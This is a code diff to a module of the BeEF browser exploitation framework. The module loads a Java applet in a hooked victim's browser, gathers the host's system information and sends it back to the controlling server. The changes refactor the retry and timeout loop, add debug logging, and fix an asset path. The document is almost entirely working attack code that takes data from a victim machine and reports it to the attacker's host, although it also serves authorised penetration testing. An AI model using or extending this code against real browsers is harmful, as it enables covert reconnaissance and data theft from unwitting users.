diff --git a/modules/host/get_system_info_java/command.js b/modules/host/get_system_info_java/command.js index 8016b275f..bfd94c1c3 100644 --- a/modules/host/get_system_info_java/command.js +++ b/modules/host/get_system_info_java/command.js @@ -6,39 +6,36 @@ beef.execute(function() { - var internal_counter = 0; - var timeout = 30; - var output; + var internal_counter = 0; + var timeout = 30; + var output; - beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, null); + beef.debug('[Get System Info (Java)] Loading getSystemInfo applet...'); + beef.dom.attachApplet('getSystemInfo', 'getSystemInfo', 'getSystemInfo', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, null); - if (beef.browser.isFF()) { + function waituntilok() { + beef.debug('[Get System Info (Java)] Executing getSystemInfo applet...'); - output = document.getSystemInfo.getInfo(); - if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
")); - beef.dom.detachApplet('getSystemInfo'); + try { + output = document.getSystemInfo.getInfo(); + if (output) { + beef.debug('[Get System Info (Java)] Retrieved system info: ' + output); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"), beef.are.status_success()); + beef.dom.detachApplet('getSystemInfo'); + return; + } + } catch (e) { + internal_counter = internal_counter + 5; + if (internal_counter > timeout) { + beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error()); + beef.dom.detachApplet('getSystemInfo'); + return; + } + setTimeout(function() {waituntilok()}, 5000); + } + } - } else { - - function waituntilok() { - try { - output = document.getSystemInfo.getInfo(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
")); - beef.dom.detachApplet('getSystemInfo'); - return; - } catch (e) { - internal_counter++; - if (internal_counter > timeout) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after '+timeout+' seconds'); - beef.dom.detachApplet('getSystemInfo'); - return; - } - setTimeout(function() {waituntilok()},1000); - } - } - - setTimeout(function() {waituntilok()},5000); - - } + setTimeout(function() {waituntilok()}, 5000); }); diff --git a/modules/host/get_system_info_java/module.rb b/modules/host/get_system_info_java/module.rb index 1ce996fef..7415e4ceb 100644 --- a/modules/host/get_system_info_java/module.rb +++ b/modules/host/get_system_info_java/module.rb @@ -6,7 +6,7 @@ class Get_system_info_java < BeEF::Core::Command def pre_send - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info/getSystemInfo.class','/getSystemInfo','class') + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info_java/getSystemInfo.class','/getSystemInfo','class') end def post_execute